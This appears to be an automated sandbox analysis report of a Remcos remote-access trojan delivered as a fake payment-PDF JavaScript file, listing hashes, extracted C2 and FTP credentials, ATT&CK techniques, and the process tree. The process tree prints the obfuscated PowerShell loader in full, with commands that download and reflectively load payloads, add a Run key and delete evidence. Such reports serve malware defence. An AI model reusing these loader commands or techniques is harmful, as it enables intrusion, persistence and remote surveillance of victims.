remcos | 34fba52e2899cceee8a6dc5793a00e1ecbdf948a56b62a647e7b913b0ae02ebf

General

Target

Eur 28950 Swift-pdf.js
Size

11KB
MD5

50dfd34adc64b6c0e26e72b2c0a29604
SHA1

758dea7dd1909948bde1016d9a52561ef88cf996
SHA256

34fba52e2899cceee8a6dc5793a00e1ecbdf948a56b62a647e7b913b0ae02ebf
SHA512

45a71eb08eaa47f4b3fd1ad96ebb9b4bd08d1c77c7e92bab21fe95086514e3d025032b1f11de3934308ca8a3430b057d82af9d9bb533e647630ca657f573bd39
SSDEEP

192:uMRB3t9iHOI42vmKrSPpOiutE+xhYB1+FXY26ugYPZW0H:/FgG0ltJx832/gYBL

Score

10^/10

remcos august defense_evasion discovery execution persistence rat

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://drive.google.com/uc?export=download&id=

Extracted

Credentials

Protocol: ftp
Host:
ftp.desckvbrat.com.br
Port:
21
Username:
desckvbrat1
Password:
developerpro21578Jp@@

Extracted

Family

remcos

Botnet

August

C2

ab9001.ddns.net:35890

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
vlc.exe
copy_folder
Vlc
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
datai-IQEOVD
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
Remcos
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 7 IoCs

flow	pid	Process
9	1940	powershell.exe
17	1940	powershell.exe
19	1940	powershell.exe
21	1940	powershell.exe
23	1940	powershell.exe
25	1940	powershell.exe
27	4320	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-807826884-2440573969-3755798217-1000\Control Panel\International\Geo\Nation	wscript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-807826884-2440573969-3755798217-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Update Drivers NVIDEO_x = "cmd.exe /c start /min \"\" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Daft SyS\\thnkz.ps1' \";exit"	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3476	powershell.exe
4320	powershell.exe
2628	powershell.exe
1940	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
26	pastebin.com
27	pastebin.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4320 set thread context of 3736	4320	powershell.exe	92

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2628	powershell.exe
2628	powershell.exe
1940	powershell.exe
1940	powershell.exe
1940	powershell.exe
3476	powershell.exe
3476	powershell.exe
4320	powershell.exe
4320	powershell.exe
4320	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2628	powershell.exe
Token: SeDebugPrivilege	1940	powershell.exe
Token: SeDebugPrivilege	3476	powershell.exe
Token: SeDebugPrivilege	4320	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3736	RegAsm.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 1932 wrote to memory of 2628	1932	wscript.exe	83
PID 1932 wrote to memory of 2628	1932	wscript.exe	83
PID 2628 wrote to memory of 1940	2628	powershell.exe	85
PID 2628 wrote to memory of 1940	2628	powershell.exe	85
PID 1940 wrote to memory of 3476	1940	powershell.exe	89
PID 1940 wrote to memory of 3476	1940	powershell.exe	89
PID 1940 wrote to memory of 4320	1940	powershell.exe	90
PID 1940 wrote to memory of 4320	1940	powershell.exe	90
PID 1940 wrote to memory of 5056	1940	powershell.exe	91
PID 1940 wrote to memory of 5056	1940	powershell.exe	91
PID 4320 wrote to memory of 3736	4320	powershell.exe	92
PID 4320 wrote to memory of 3736	4320	powershell.exe	92
PID 4320 wrote to memory of 3736	4320	powershell.exe	92
PID 4320 wrote to memory of 3736	4320	powershell.exe	92
PID 4320 wrote to memory of 3736	4320	powershell.exe	92
PID 4320 wrote to memory of 3736	4320	powershell.exe	92
PID 4320 wrote to memory of 3736	4320	powershell.exe	92
PID 4320 wrote to memory of 3736	4320	powershell.exe	92
PID 4320 wrote to memory of 3736	4320	powershell.exe	92
PID 4320 wrote to memory of 3736	4320	powershell.exe	92
PID 4320 wrote to memory of 3736	4320	powershell.exe	92
PID 4320 wrote to memory of 3736	4320	powershell.exe	92

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\Eur 28950 Swift-pdf.js"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1932
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $vCHvw = 'J⅕BS⅕H⅕⅕RwBK⅕GI⅕I⅕⅕9⅕C⅕⅕J⅕Bo⅕G8⅕cwB0⅕C4⅕VgBl⅕HI⅕cwBp⅕G8⅕bg⅕u⅕E0⅕YQBq⅕G8⅕cg⅕u⅕EU⅕cQB1⅕GE⅕b⅕Bz⅕Cg⅕Mg⅕p⅕Ds⅕SQBm⅕C⅕⅕K⅕⅕k⅕FI⅕c⅕BH⅕Eo⅕Yg⅕p⅕C⅕⅕ew⅕k⅕H⅕⅕YQBz⅕HQ⅕YQ⅕g⅕D0⅕I⅕Bb⅕FM⅕eQBz⅕HQ⅕ZQBt⅕C4⅕SQBP⅕C4⅕U⅕Bh⅕HQ⅕a⅕Bd⅕Do⅕OgBH⅕GU⅕d⅕BU⅕GU⅕bQBw⅕F⅕⅕YQB0⅕Gg⅕K⅕⅕p⅕Ds⅕Z⅕Bl⅕Gw⅕I⅕⅕o⅕CQ⅕c⅕Bh⅕HM⅕d⅕Bh⅕C⅕⅕Kw⅕g⅕Cc⅕X⅕BV⅕H⅕⅕dwBp⅕G4⅕LgBt⅕HM⅕dQ⅕n⅕Ck⅕Ow⅕k⅕Gg⅕UwBB⅕Eg⅕c⅕⅕g⅕D0⅕I⅕⅕n⅕Gg⅕d⅕B0⅕H⅕⅕cw⅕6⅕C8⅕LwBk⅕HI⅕aQB2⅕GU⅕LgBn⅕G8⅕bwBn⅕Gw⅕ZQ⅕u⅕GM⅕bwBt⅕C8⅕dQBj⅕D8⅕ZQB4⅕H⅕⅕bwBy⅕HQ⅕PQBk⅕G8⅕dwBu⅕Gw⅕bwBh⅕GQ⅕JgBp⅕GQ⅕PQ⅕n⅕Ds⅕J⅕BI⅕FQ⅕WQBm⅕HY⅕I⅕⅕9⅕C⅕⅕J⅕Bl⅕G4⅕dg⅕6⅕F⅕⅕UgBP⅕EM⅕RQBT⅕FM⅕TwBS⅕F8⅕QQBS⅕EM⅕S⅕BJ⅕FQ⅕RQBD⅕FQ⅕VQBS⅕EU⅕LgBD⅕G8⅕bgB0⅕GE⅕aQBu⅕HM⅕K⅕⅕n⅕DY⅕N⅕⅕n⅕Ck⅕OwBp⅕GY⅕I⅕⅕o⅕CQ⅕S⅕BU⅕Fk⅕ZgB2⅕Ck⅕I⅕B7⅕CQ⅕a⅕BT⅕EE⅕S⅕Bw⅕C⅕⅕PQ⅕g⅕Cg⅕J⅕Bo⅕FM⅕QQBI⅕H⅕⅕I⅕⅕r⅕C⅕⅕JwBX⅕DE⅕MQ⅕y⅕EE⅕Z⅕BQ⅕GY⅕SQ⅕w⅕F⅕⅕Qw⅕3⅕Gg⅕YgBz⅕GM⅕aQBf⅕DU⅕Xw⅕w⅕F8⅕ZQBV⅕Dc⅕TgB3⅕E0⅕WgBo⅕GY⅕N⅕B4⅕Cc⅕KQ⅕g⅕Ds⅕fQBl⅕Gw⅕cwBl⅕C⅕⅕ew⅕k⅕Gg⅕UwBB⅕Eg⅕c⅕⅕g⅕D0⅕I⅕⅕o⅕CQ⅕a⅕BT⅕EE⅕S⅕Bw⅕C⅕⅕Kw⅕g⅕Cc⅕MQBi⅕HI⅕ag⅕1⅕Go⅕cQBu⅕HE⅕UgB4⅕EM⅕R⅕⅕2⅕FY⅕a⅕Bm⅕Gg⅕QQBu⅕DI⅕cgBj⅕FY⅕ZgBz⅕FI⅕bw⅕3⅕EQ⅕O⅕Bn⅕HI⅕Jw⅕p⅕C⅕⅕OwB9⅕Ds⅕J⅕Bm⅕Hc⅕UwBZ⅕H⅕⅕I⅕⅕9⅕C⅕⅕K⅕BO⅕GU⅕dw⅕t⅕E8⅕YgBq⅕GU⅕YwB0⅕C⅕⅕TgBl⅕HQ⅕LgBX⅕GU⅕YgBD⅕Gw⅕aQBl⅕G4⅕d⅕⅕p⅕C⅕⅕Ow⅕k⅕GY⅕dwBT⅕Fk⅕c⅕⅕u⅕EU⅕bgBj⅕G8⅕Z⅕Bp⅕G4⅕Zw⅕g⅕D0⅕I⅕Bb⅕FM⅕eQBz⅕HQ⅕ZQBt⅕C4⅕V⅕Bl⅕Hg⅕d⅕⅕u⅕EU⅕bgBj⅕G8⅕Z⅕Bp⅕G4⅕ZwBd⅕Do⅕OgBV⅕FQ⅕Rg⅕4⅕C⅕⅕Ow⅕k⅕GY⅕dwBT⅕Fk⅕c⅕⅕u⅕EQ⅕bwB3⅕G4⅕b⅕Bv⅕GE⅕Z⅕BG⅕Gk⅕b⅕Bl⅕Cg⅕J⅕BV⅕FI⅕T⅕BL⅕EI⅕L⅕⅕g⅕CQ⅕c⅕Bh⅕HM⅕d⅕Bh⅕C⅕⅕Kw⅕g⅕Cc⅕X⅕BV⅕H⅕⅕dwBp⅕G4⅕LgBt⅕HM⅕dQ⅕n⅕Ck⅕I⅕⅕7⅕CQ⅕RgBv⅕Gw⅕Z⅕BT⅕HQ⅕YQBy⅕HQ⅕dQBw⅕C⅕⅕PQ⅕g⅕Cg⅕JwBD⅕Do⅕X⅕BV⅕HM⅕ZQBy⅕HM⅕X⅕⅕n⅕C⅕⅕Kw⅕g⅕Fs⅕RQBu⅕HY⅕aQBy⅕G8⅕bgBt⅕GU⅕bgB0⅕F0⅕Og⅕6⅕FU⅕cwBl⅕HI⅕TgBh⅕G0⅕ZQ⅕g⅕Ck⅕Ow⅕k⅕GY⅕aQBs⅕GU⅕I⅕⅕9⅕C⅕⅕K⅕⅕k⅕H⅕⅕YQBz⅕HQ⅕YQ⅕g⅕Cs⅕I⅕⅕n⅕Fw⅕VQBw⅕Hc⅕aQBu⅕C4⅕bQBz⅕HU⅕Jw⅕p⅕Ds⅕I⅕Bw⅕G8⅕dwBl⅕HI⅕cwBo⅕GU⅕b⅕Bs⅕C4⅕ZQB4⅕GU⅕I⅕B3⅕HU⅕cwBh⅕C4⅕ZQB4⅕GU⅕I⅕⅕k⅕GY⅕aQBs⅕GU⅕I⅕⅕v⅕HE⅕dQBp⅕GU⅕d⅕⅕g⅕C8⅕bgBv⅕HI⅕ZQBz⅕HQ⅕YQBy⅕HQ⅕I⅕⅕7⅕C⅕⅕QwBv⅕H⅕⅕eQ⅕t⅕Ek⅕d⅕Bl⅕G0⅕I⅕⅕n⅕CU⅕R⅕BD⅕F⅕⅕SgBV⅕CU⅕Jw⅕g⅕C0⅕R⅕Bl⅕HM⅕d⅕Bp⅕G4⅕YQB0⅕Gk⅕bwBu⅕C⅕⅕K⅕⅕g⅕CQ⅕RgBv⅕Gw⅕Z⅕BT⅕HQ⅕YQBy⅕HQ⅕dQBw⅕C⅕⅕Kw⅕g⅕Cc⅕X⅕BB⅕H⅕⅕c⅕BE⅕GE⅕d⅕Bh⅕Fw⅕UgBv⅕GE⅕bQBp⅕G4⅕ZwBc⅕E0⅕aQBj⅕HI⅕bwBz⅕G8⅕ZgB0⅕Fw⅕VwBp⅕G4⅕Z⅕Bv⅕Hc⅕cwBc⅕FM⅕d⅕Bh⅕HI⅕d⅕⅕g⅕E0⅕ZQBu⅕HU⅕X⅕BQ⅕HI⅕bwBn⅕HI⅕YQBt⅕HM⅕X⅕BT⅕HQ⅕YQBy⅕HQ⅕dQBw⅕Cc⅕I⅕⅕p⅕C⅕⅕LQBm⅕G8⅕cgBj⅕GU⅕I⅕⅕7⅕H⅕⅕bwB3⅕GU⅕cgBz⅕Gg⅕ZQBs⅕Gw⅕LgBl⅕Hg⅕ZQ⅕g⅕C0⅕YwBv⅕G0⅕bQBh⅕G4⅕Z⅕⅕g⅕Cc⅕cwBs⅕GU⅕ZQBw⅕C⅕⅕MQ⅕4⅕D⅕⅕Jw⅕7⅕C⅕⅕cwBo⅕HU⅕d⅕Bk⅕G8⅕dwBu⅕C4⅕ZQB4⅕GU⅕I⅕⅕v⅕HI⅕I⅕⅕v⅕HQ⅕I⅕⅕w⅕C⅕⅕LwBm⅕C⅕⅕fQBl⅕Gw⅕cwBl⅕C⅕⅕ewBb⅕FM⅕eQBz⅕HQ⅕ZQBt⅕C4⅕TgBl⅕HQ⅕LgBT⅕GU⅕cgB2⅕Gk⅕YwBl⅕F⅕⅕bwBp⅕G4⅕d⅕BN⅕GE⅕bgBh⅕Gc⅕ZQBy⅕F0⅕Og⅕6⅕FM⅕ZQBy⅕HY⅕ZQBy⅕EM⅕ZQBy⅕HQ⅕aQBm⅕Gk⅕YwBh⅕HQ⅕ZQBW⅕GE⅕b⅕Bp⅕GQ⅕YQB0⅕Gk⅕bwBu⅕EM⅕YQBs⅕Gw⅕YgBh⅕GM⅕aw⅕g⅕D0⅕I⅕B7⅕CQ⅕d⅕By⅕HU⅕ZQB9⅕Ds⅕WwBT⅕Hk⅕cwB0⅕GU⅕bQ⅕u⅕E4⅕ZQB0⅕C4⅕UwBl⅕HI⅕dgBp⅕GM⅕ZQBQ⅕G8⅕aQBu⅕HQ⅕TQBh⅕G4⅕YQBn⅕GU⅕cgBd⅕Do⅕OgBT⅕GU⅕YwB1⅕HI⅕aQB0⅕Hk⅕U⅕By⅕G8⅕d⅕Bv⅕GM⅕bwBs⅕C⅕⅕PQ⅕g⅕Fs⅕UwB5⅕HM⅕d⅕Bl⅕G0⅕LgBO⅕GU⅕d⅕⅕u⅕FM⅕ZQBj⅕HU⅕cgBp⅕HQ⅕eQBQ⅕HI⅕bwB0⅕G8⅕YwBv⅕Gw⅕V⅕B5⅕H⅕⅕ZQBd⅕Do⅕OgBU⅕Gw⅕cw⅕x⅕DI⅕Ow⅕k⅕Hc⅕VgBQ⅕Gw⅕dQ⅕g⅕D0⅕I⅕⅕o⅕E4⅕ZQB3⅕C0⅕TwBi⅕Go⅕ZQBj⅕HQ⅕I⅕BO⅕GU⅕d⅕⅕u⅕Fc⅕ZQBi⅕EM⅕b⅕Bp⅕GU⅕bgB0⅕Ck⅕Ow⅕k⅕Hc⅕VgBQ⅕Gw⅕dQ⅕u⅕EU⅕bgBj⅕G8⅕Z⅕Bp⅕G4⅕Zw⅕g⅕D0⅕I⅕Bb⅕FM⅕eQBz⅕HQ⅕ZQBt⅕C4⅕V⅕Bl⅕Hg⅕d⅕⅕u⅕EU⅕bgBj⅕G8⅕Z⅕Bp⅕G4⅕ZwBd⅕Do⅕OgBV⅕FQ⅕Rg⅕4⅕Ds⅕J⅕B3⅕FY⅕U⅕Bs⅕HU⅕LgBD⅕HI⅕ZQBk⅕GU⅕bgB0⅕Gk⅕YQBs⅕HM⅕I⅕⅕9⅕C⅕⅕bgBl⅕Hc⅕LQBv⅕GI⅕agBl⅕GM⅕d⅕⅕g⅕FM⅕eQBz⅕HQ⅕ZQBt⅕C4⅕TgBl⅕HQ⅕LgBO⅕GU⅕d⅕B3⅕G8⅕cgBr⅕EM⅕cgBl⅕GQ⅕ZQBu⅕HQ⅕aQBh⅕Gw⅕K⅕⅕n⅕GQ⅕ZQBz⅕GM⅕awB2⅕GI⅕cgBh⅕HQ⅕MQ⅕n⅕Cw⅕JwBk⅕GU⅕dgBl⅕Gw⅕bwBw⅕GU⅕cgBw⅕HI⅕bw⅕y⅕DE⅕NQ⅕3⅕Dg⅕SgBw⅕E⅕⅕Q⅕⅕n⅕Ck⅕Ow⅕k⅕E0⅕VwBm⅕HU⅕YQ⅕g⅕D0⅕I⅕⅕k⅕Hc⅕VgBQ⅕Gw⅕dQ⅕u⅕EQ⅕bwB3⅕G4⅕b⅕Bv⅕GE⅕Z⅕BT⅕HQ⅕cgBp⅕G4⅕Zw⅕o⅕C⅕⅕JwBm⅕HQ⅕c⅕⅕6⅕C8⅕LwBk⅕GU⅕cwBj⅕Gs⅕dgBi⅕HI⅕YQB0⅕DE⅕Q⅕Bm⅕HQ⅕c⅕⅕u⅕GQ⅕ZQBz⅕GM⅕awB2⅕GI⅕cgBh⅕HQ⅕LgBj⅕G8⅕bQ⅕u⅕GI⅕cg⅕v⅕FU⅕c⅕Bj⅕HI⅕eQBw⅕HQ⅕ZQBy⅕C8⅕M⅕⅕y⅕C8⅕R⅕BM⅕Ew⅕M⅕⅕x⅕C4⅕d⅕B4⅕HQ⅕Jw⅕g⅕Ck⅕Ow⅕k⅕Hc⅕VgBQ⅕Gw⅕dQ⅕u⅕GQ⅕aQBz⅕H⅕⅕bwBz⅕GU⅕K⅕⅕p⅕Ds⅕J⅕B3⅕FY⅕U⅕Bs⅕HU⅕I⅕⅕9⅕C⅕⅕K⅕BO⅕GU⅕dw⅕t⅕E8⅕YgBq⅕GU⅕YwB0⅕C⅕⅕TgBl⅕HQ⅕LgBX⅕GU⅕YgBD⅕Gw⅕aQBl⅕G4⅕d⅕⅕p⅕Ds⅕J⅕B3⅕FY⅕U⅕Bs⅕HU⅕LgBF⅕G4⅕YwBv⅕GQ⅕aQBu⅕Gc⅕I⅕⅕9⅕C⅕⅕WwBT⅕Hk⅕cwB0⅕GU⅕bQ⅕u⅕FQ⅕ZQB4⅕HQ⅕LgBF⅕G4⅕YwBv⅕GQ⅕aQBu⅕Gc⅕XQ⅕6⅕Do⅕VQBU⅕EY⅕O⅕⅕7⅕CQ⅕TQBX⅕GY⅕dQBh⅕C⅕⅕PQ⅕g⅕CQ⅕dwBW⅕F⅕⅕b⅕B1⅕C4⅕R⅕Bv⅕Hc⅕bgBs⅕G8⅕YQBk⅕FM⅕d⅕By⅕Gk⅕bgBn⅕Cg⅕I⅕⅕k⅕E0⅕VwBm⅕HU⅕YQ⅕g⅕Ck⅕OwBb⅕EI⅕eQB0⅕GU⅕WwBd⅕F0⅕I⅕⅕k⅕FI⅕W⅕Bp⅕FY⅕agBf⅕Fk⅕b⅕B0⅕Eg⅕Sw⅕g⅕D0⅕I⅕Bb⅕FM⅕eQBz⅕HQ⅕ZQBt⅕C4⅕QwBv⅕G4⅕dgBl⅕HI⅕d⅕Bd⅕Do⅕OgBG⅕HI⅕bwBt⅕EI⅕YQBz⅕GU⅕Ng⅕0⅕FM⅕d⅕By⅕Gk⅕bgBn⅕Cg⅕I⅕⅕k⅕E0⅕VwBm⅕HU⅕YQ⅕u⅕FI⅕ZQBw⅕Gw⅕YQBj⅕GU⅕K⅕⅕g⅕Cc⅕kyE6⅕JMhJw⅕g⅕Cw⅕I⅕⅕n⅕EE⅕Jw⅕g⅕Ck⅕I⅕⅕p⅕Ds⅕WwBT⅕Hk⅕cwB0⅕GU⅕bQ⅕u⅕EE⅕c⅕Bw⅕EQ⅕bwBt⅕GE⅕aQBu⅕F0⅕Og⅕6⅕EM⅕dQBy⅕HI⅕ZQBu⅕HQ⅕R⅕Bv⅕G0⅕YQBp⅕G4⅕LgBM⅕G8⅕YQBk⅕Cg⅕I⅕⅕k⅕FI⅕W⅕Bp⅕FY⅕agBf⅕Fk⅕b⅕B0⅕Eg⅕Sw⅕g⅕Ck⅕LgBH⅕GU⅕d⅕BU⅕Hk⅕c⅕Bl⅕Cg⅕I⅕⅕n⅕EM⅕b⅕Bh⅕HM⅕cwBM⅕Gk⅕YgBy⅕GE⅕cgB5⅕DM⅕LgBD⅕Gw⅕YQBz⅕HM⅕MQ⅕n⅕C⅕⅕KQ⅕u⅕Ec⅕ZQB0⅕E0⅕ZQB0⅕Gg⅕bwBk⅕Cg⅕I⅕⅕n⅕H⅕⅕cgBG⅕FY⅕SQ⅕n⅕C⅕⅕KQ⅕u⅕Ek⅕bgB2⅕G8⅕awBl⅕Cg⅕J⅕Bu⅕HU⅕b⅕Bs⅕Cw⅕I⅕Bb⅕G8⅕YgBq⅕GU⅕YwB0⅕Fs⅕XQBd⅕C⅕⅕K⅕⅕g⅕Cc⅕bg⅕x⅕HY⅕dwBk⅕G8⅕bgBh⅕DM⅕Z⅕⅕v⅕Hc⅕YQBy⅕C8⅕ZQBt⅕C4⅕d⅕B4⅕GU⅕d⅕Bl⅕HI⅕YQBo⅕HM⅕Lw⅕v⅕Do⅕cwBw⅕HQ⅕d⅕Bo⅕Cc⅕I⅕⅕s⅕C⅕⅕Jw⅕l⅕EQ⅕QwBQ⅕Eo⅕VQ⅕l⅕Cc⅕L⅕⅕g⅕Cc⅕V⅕By⅕HU⅕ZQ⅕x⅕Cc⅕I⅕⅕p⅕C⅕⅕KQ⅕7⅕H0⅕Ow⅕=';$vCHvw = $vCHvw.replace('⅕','A') ;$vCHvw = [System.Convert]::FromBase64String( $vCHvw ) ;;;$vCHvw = [System.Text.Encoding]::Unicode.GetString( $vCHvw ) ;$vCHvw = $vCHvw.replace('%DCPJU%','C:\Users\Admin\AppData\Local\Temp\Eur 28950 Swift-pdf.js') ;powershell $vCHvw
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2628
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$RpGJb = $host.Version.Major.Equals(2);If ($RpGJb) {$pasta = [System.IO.Path]::GetTempPath();del ($pasta + '\Upwin.msu');$hSAHp = 'https://drive.google.com/uc?export=download&id=';$HTYfv = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ($HTYfv) {$hSAHp = ($hSAHp + 'W112AdPfI0PC7hbsci_5_0_eU7NwMZhf4x') ;}else {$hSAHp = ($hSAHp + '1brj5jqnqRxCD6VhfhAn2rcVfsRo7D8gr') ;};$fwSYp = (New-Object Net.WebClient) ;$fwSYp.Encoding = [System.Text.Encoding]::UTF8 ;$fwSYp.DownloadFile($URLKB, $pasta + '\Upwin.msu') ;$FoldStartup = ('C:\Users\' + [Environment]::UserName );$file = ($pasta + '\Upwin.msu'); powershell.exe wusa.exe $file /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\Eur 28950 Swift-pdf.js' -Destination ( $FoldStartup + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$wVPlu = (New-Object Net.WebClient);$wVPlu.Encoding = [System.Text.Encoding]::UTF8;$wVPlu.Credentials = new-object System.Net.NetworkCredential('desckvbrat1','developerpro21578Jp@@');$MWfua = $wVPlu.DownloadString( 'ftp://[email protected]/Upcrypter/02/DLL01.txt' );$wVPlu.dispose();$wVPlu = (New-Object Net.WebClient);$wVPlu.Encoding = [System.Text.Encoding]::UTF8;$MWfua = $wVPlu.DownloadString( $MWfua );[Byte[]] $RXiVj_YltHK = [System.Convert]::FromBase64String( $MWfua.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $RXiVj_YltHK ).GetType( 'ClassLibrary3.Class1' ).GetMethod( 'prFVI' ).Invoke($null, [object[]] ( 'n1vwdona3d/war/em.txeterahs//:sptth' , 'C:\Users\Admin\AppData\Local\Temp\Eur 28950 Swift-pdf.js', 'True1' ) );};"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1940
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\Daft SyS\\x2.ps1"
      4⤵
      Adds Run key to start application
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3476
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\Daft SyS\thnkz.ps1"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4320
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:3736
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\Eur 28950 Swift-pdf.js"
      4⤵
      PID:5056

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Indicator Removal

1

T1070

File Deletion

Modify Registry

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
8f3acf221a6c7e58ada333eaa29cdd17

SHA1
e51dc3240ea5b67e6c1f2a4469c7082b6fcef4b7

SHA256
c6c8492d4cf1c8199a3cf2c88b42e877cf691902a987c9d5ec11835d981ad39f

SHA512
eafd612da5156dcc2a255f6ed1fcd15a090f130e94a32bbcd4eff1f89fab79eb43da7eda8ce6df1b1b87f2ca028b66498470a452e91e6729f44beebd457e7426

Download Submit
C:\Users\Admin\AppData\LocalLow\Daft SyS\thnkz.ps1

Filesize
1.7MB

MD5
cb5bca80262555cfcb4cdeab156ebac8

SHA1
a48b465fc18ae99f7b66ffd02bd239503f392675

SHA256
41de52519955416d6ba10a475638337bac3f616b1a526e456f1a33ae623210b8

SHA512
29f5187df52d834d82868786cdcc618658c0dd5585ef2df04e28eb6d60e56b6b293bd29d15c6a70a3fdc1f4efbd3ac30160b40b8e53cfb428c342f318822e228

Download Submit
C:\Users\Admin\AppData\LocalLow\Daft SyS\x2.ps1

Filesize
313B

MD5
39452bcf7cd7f148fcfb0c0682f1294b

SHA1
a5dfb83cfb0199b471421695455cbf7d2b30b878

SHA256
ecacbb69c96dadb1ebbe7cc1a1eda296848419a2386f278770182bce1715495e

SHA512
cc2d35baeeadf600315f043f8c925beb44ef6e6c0c9987e811e339180192ae7fb33526ae8215d3807afc018cfc047504d015bd03acfe974d03a2680b1627d020

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
bf0b4ce5cebcd1ff84af14ed6a135611

SHA1
6e1783f1cf5bfb2565e1e4435a7307633380aa26

SHA256
13c66b61a086284b0fc118209bce12dfe5789c8875341a293a8569ac480361b5

SHA512
3eb406399522ac6b94ef14f623979fda4870d49643921d9181dc53c151dec0c44ac7dad8b74014767ad4768aa27b156e361b57273924680dfb6f17fef85a18d3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
50a8221b93fbd2628ac460dd408a9fc1

SHA1
